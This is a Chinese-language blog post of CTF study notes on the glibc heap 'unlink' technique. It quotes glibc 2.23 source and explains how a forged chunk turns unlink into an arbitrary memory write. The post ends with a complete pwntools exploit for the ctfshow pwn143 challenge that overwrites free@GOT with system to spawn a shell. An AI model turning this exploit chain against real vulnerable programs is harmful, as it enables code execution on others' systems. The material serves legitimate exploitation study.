Unlink

本文最后更新于 2026年1月4日 下午

参考

CTF-WIKI

Fake_chunk模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#AMD64下实现fake_chunk
add(0x40,b'aaaa')
add(0x80,b'aaaa')

chunk_ptr = 0x006020C0
fakefd = chunk_ptr - 0x18
fakebk = chunk_ptr - 0x10

fake_chunk = p(0)
fake_chunk += p(0x41)
fake_chunk += p(fakefd)
fake_chunk += p(fakebk)
fake_chunk += junk(0x20)

fake_chunk += p(0x40)
fake_chunk += p(0x90)

chunk结构

Unlink: 将一个空闲的 chunk 从双向链表中移除,更新BK、FD的bk、fd(BK、FD都是一个chunk)

简单来说将一个chunk从一个双向链表中删除,但是保证这个双向链表不被破坏

  • fd:指向下一个空闲的 chunk
  • bk:指向上一个空闲的 chunk

个人理解:
Unlink有点像连带责任,P走了,那么BK、FD就要必须更新新的信息

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
unlink(AV, P, BK, FD)                                                                                                       
{
FD = P->fd;
BK = P->bk;
if (__builtin_expect(FD->bk != P || BK->fd != P, 0))
malloc_printerr(check_action, "corrupted double-linked list", P, AV);
else
{
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range(P->size) && __builtin_expect(P->fd_nextsize != NULL, 0))
{
if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect(P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr(check_action,
"corrupted double-linked list (not small)",
P, AV);
if (FD->fd_nextsize == NULL)
{
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else
{
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
}
else
{
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}

原理

1. 原先的双向链表

也就说Unlink(P)

  • BK->fd = P->fd = FD
  • FD->bk = P->bk = BK

那也就说
当我们设置了P->bk的值,那么FD->bk也会被我们设置
当我们设置了P->fd的值,那么BK->fd也会被我们设置
而FD、BK又是由P->fd、P->bk来决定的
这就实现了任意内存写

a. fd != bk

P->fd = 0x1234
P->bk = 0x5678
那么
BK = 0x5678
FD = 0x1234
((size_t)BK+2) = P->fd == 0x1234
((size_t)FD+3) = P->bk == 0x5678
能看到,两个不同的地址*((size_t*)BK+2)``*((size_t*)FD+3),通过Unlink实现了覆写

b. fd = bk

P->fd = 0x1234
P->bk = 0x1234
BK = 0x1234
FD = 0x1234
((size_t)BK+2) = P->fd == 0x1234
((size_t)FD+3) = P->bk == 0x1234

  • *((size_t*)chunk+2) = P->fd == 0x1234*
  • *((size_t)chunk+3) = P->bk == 0x1234
    依据这个特性,那么我们就可以实现定点写入

c. 定点

写入fd的位置
P->fd = target-1
P->bk = target
BK = target
FD = target-1
((size_t)BK+2) = P->fd
((size_t)FD+3) = P->bk

  • *((size_t*)chunk+3) = P->fd
  • *((size_t*)chunk+3) = P->bk

如果只考虑一个(FD或者BK的话)那么会更简单
比如说我只考虑BK
那么
P->fd = value
P->bk = target_addr
就是实现了
*((size_t*)target_addr+2) = value
反之:
P->fd = target_addr
P->bk = value
就是实现了
*((size_t*)target_addr+3) = value
再简化一下
只考虑BK
P->fd = value
P->bk = target_addr - 2

*((size_t*)target_addr) = value
只考虑FD
P->fd = target_addr - 3
P->bk = value
*((size_t*)target_addr) = value

3. 无check

在早期,是不存在检查的,也就说,直接通过P->fd、P->bk的设置,触发Unlink(P)就可以实现任意内存写的操作

4. check

现实很残酷,有洞,总要修的,但是洞是修不完的

1
2
3
4
5
6
7
8
9
10
11
12
13
// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \

// largebin 中 next_size 双向链表完整性检查
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV);

增加check后,我们来理解下fd、bk的检查

  • FD->bk != P
  • BK->fd != P

要想绕过check

  • FD->bk = P

  • BK->fd = P

  • (P->fd)->bk = P

  • (P->bk)->fd = P

来看看我们之前的图:绿色代表FD、BK能够通过check的指向,红色代表我们触发Unlink后FD、BK的指向

  • FD->bk = BK

  • BK->fd = FD

  • (P->fd)->bk = BK

  • (P->bk)->fd = FD

这样看,我们就可以通过定点这个知识点(上边)可以轻松解决

把BK和FD看成一个大的target_chunk,在target_chunk中BK和FD重合,且在target_chunk中存在P的地址就可以实现绕过了,上图理解下

target_chunk中存在P的地址

通过P->bk、P->fd布局,使得FD->bk = P、BK->fd = P

但是一般来说都是只知道P地址的存储地址,那么我们来转换一下

这样的结果是P_ptr被覆盖成了P->fd == P_Addr-3,至于为什么不是P_Addr-2

看源码我们能知道代码执行的先后顺序

  1. FD->bk = BK
  2. BK->fd = FD

触发

流程

  1. 伪造chunk(fake_chunk),

  2. 修改fake_chunk所在chunk的下一个chunk(这里叫next_chunk)的prev_sizesize上的 P flag(通常默认是1),通过next_chunk的修改来设置fake_chunk的状态是free

    • prev_size = fake_chunk->size(不包含P,即P=0)
    • size = size-1 (如果size的个位上存在1)

next_chunk的size有要求,必须>= 90,即malloc(0x80)[amd64下]

不然回收的时候(free(next_chunk))会将next_chunk收到fastbin中,导致触发不了Unlink

  1. free(next_chunk):触发Unlink(P)

解释下
size上的P flag:PREV_INUSE,记录前一个 chunk 块是否被分配。一般来说,堆中第一个被分配的内存块的 size 字段的 P 位都会被设置为 1,以便于防止访问前面的非法内存。当一个 chunk 的 size 的 P 位为 0 时,我们能通过 prev_size 字段来获取上一个 chunk 的大小以及地址。这也方便进行空闲 chunk 之间的合并。

prev_size:若前一个物理相邻的chunk是free chunk,则表示其大小。否则用于存储前一个chunk的数据

  1. 为什么free(next_chunk)会触发Unlink(P)呢?

首先我要知道在free(next_chunk)下发生了什么

1. next_chunk-> size = 0x91 (默认malloc(0x80)下),不属于fastbin,归于unsortedbin中

当chunk属于unsortedbin有个特点:如果当前chunk(now_chunk)前的chunk(prev_chunk)属于空闲(now_chunk->prev_size = prev_chunk->size(该size不包含P位)),则会向后合并,即prev_chunk和now_chunk合并,新的chunk位prev_chunk的地址

2. 调用free的时候发生了什么,我们来看一下源码(glibc-2.23_./malloc/malloc.c)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void __libc_free(void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */

void (*hook)(void *, const void *) = atomic_forced_read(__free_hook);
if (__builtin_expect(hook != NULL, 0))
{
(*hook)(mem, RETURN_ADDRESS(0));
return;
}

if (mem == 0) /* free(0) has no effect */
return;

p = mem2chunk(mem);

if (chunk_is_mmapped(p)) /* release mmapped memory. */
{
/* see if the dynamic brk/mmap threshold needs adjusting */
if (!mp_.no_dyn_threshold && p->size > mp_.mmap_threshold && p->size <= DEFAULT_MMAP_THRESHOLD_MAX)
{
mp_.mmap_threshold = chunksize(p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE(memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk(p);
return;
}

ar_ptr = arena_for_chunk(p);
_int_free(ar_ptr, p, 0);
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//在_int_free的定义里有这么一段代码,分别记录向前合并和向后合并的过程
#define PREV_INUSE 0x1
#define prev_inuse(p) ((p)->size & PREV_INUSE)
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
#define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->size &= ~(PREV_INUSE))
/*
检查P(被free的chunk)是否正在被使用
实现合并
获取prev_chunk->size
两个chunk大小相加
更新P为prev_chunk(P的前一个chunk(物理相邻低地址chunk:prev_chunk))
调用Unlink
*/
if (!prev_inuse(p))
{
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long)prevsize));
unlink(av, p, bck, fwd);
}

if (nextchunk != av->top)
{
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

/* consolidate forward */
if (!nextinuse)
{
unlink(av, nextchunk, bck, fwd);
size += nextsize;
}else
clear_inuse_bit_at_offset(nextchunk, 0);
//.........
}

整理一下思路

  • 在调用free的时候会先后检查prev_chunk;next_chunk是否在被使用
  • 如果不被使用 && next_chunk != top_chunk;那么尝试调用Unlink

当然这是要满足非fastbin等情况下才会进入上诉两个过程

例题

ctfshowpwn143

add函数,可以看出它的布局

edit函数存在堆溢出

根据原理,我们来构造fake_chunk,并触发Unlink

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
elf = ELF('./pwn')

def show():
sla('choice:',str(1))

def Add(size,content):
sla('choice:',str(2))
sla('length:',str(size))
sa('the name:',content)

def Edit(index,size,content):
sla('choice:',str(3))
sla('index:',str(index))
sla('length of name:',str(size))
sa('the new name:',content)

def Del(index):
sla('choice:',str(4))
sla('index:',str(index))

def Exit():
sla('choice:',str(5))

chunk_ptr = 0x6020A8
fakefd = chunk_ptr - 0x18
fakebk = chunk_ptr - 0x10

fake_chunk = p(0)
fake_chunk += p(0x41)
fake_chunk += p(fakefd)
fake_chunk += p(fakebk)
fake_chunk += junk(0x20)

fake_chunk += p(0x40)
fake_chunk += p(0x90)

Add(0x40,b'aaaa')
Add(0x80,b'aaaa')
Add(0x10,b'/bin/sh\x00')
Edit(0,len(fake_chunk),fake_chunk)
Del(1)

payload = p(0) + p(0) + p(0x40) + p(elf.got['free'])

Edit(0,len(payload),payload)
show()
ru(' : ')
func_addr = u(r(6).ljust(8,b'\x00'))
lgs(hex(func_addr))

libc = LibcSearcher('free',func_addr)

libcBase = func_addr - libc.dump('free')

sysAddr,shellStr = SLSysBin(libc,libcBase)

payload = p(sysAddr)
Edit(0,len(payload),payload)

Del(2)

inter()

代码解释

fakefd->List[1] - 0x18(3*8)

fakebk->List[1] - 0x10(2*8)

AMD64下size_t的大小为8、i386下size_t的大小为4


Unlink
https://tforevery.github.io/PWN/HEAP/Unlink/
作者
TY
发布于
2025年12月24日
许可协议